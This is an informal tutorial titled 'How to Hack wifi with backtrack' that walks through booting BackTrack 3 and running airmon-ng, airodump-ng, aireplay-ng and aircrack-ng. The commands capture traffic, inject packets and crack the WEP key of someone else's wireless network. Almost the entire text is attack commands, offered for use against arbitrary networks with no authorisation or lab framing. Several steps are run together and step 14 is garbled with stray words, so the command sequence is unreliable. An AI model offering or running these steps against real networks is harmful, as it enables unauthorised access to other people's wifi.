How to Hack wifi with backtrack

Step 1:-First download backtrack

Step 2:-Burn the iso image on CD and boot your laptop from CD drive

Step 3:-Select the third boot option(VESA/KDE).

Step 4:-Once in BT3, click the tiny black box in the lower left corner to load up a"Konsole" window.

Step 5:-Type the following commandairmon-ngNote down the interface name.
In this example wifi0Step

6:-airmon-ng stop wifi0Step

7:-ifconfig wifi0 down

Step 8:-mac changer --mac 00:11:22:33:44:66 wifi0Step

9:-airmon-ng start wifi0Step

10:-airodump-ng wifi0. This will start populating Wifi networks.

Press Ctrl + C to stop.  Check the network with WEP encryption.
Notedown BSSID, CH and ESSID somewhere in notepad or paperNote that if the same BSSID is available in the second part with STATION associated with it, means you some one is accessing that network and our task will be little easier.  If not than don’t worry we will still crack it.

Step 11:-airodump-ng -c (channel) -w (file name)Replace(channel) with the CH which u had already n(file name) with any name of your choice(bssid) with the BSSID which u had already note--bssid (bssid) wifi0Note it leave this console as it is and start new console step

12:-aireplay-ng -1 0 -a (bssid) -h 00:11:22:33:44:66 wifi0If you don’t get Association Successful mesage then keep on trying until you got success.

Steps13:-aireplay-ng -3 -b (bssid) -h 00:11:22:33:44:66 wifi0. Well if you don’t see ARP ACK and sent packets are not increasing or still 0. than it means no 1 is accessing that network. But don’t worry you go an optional step, Leave this console as it is and start new konsole

Step 14:-aireplay-ng -2 –p 0841 –c FF:FF:FF:FF:FF:FF konsole message than keep on trying until you get success got an optional step konsole–b (bssid) –h 00:11:22:33:44:66 wfi0 Press y and enter Now you will see that ARP and ACK packets in 2nd console are increasing fast Keep this console as it is and start 4th console.

Step 15:-aircrack-ng -b (bssid) (filename)-Just wait and watch…..Backtrack will do rest of the work.Hurray we got the key.Done..!!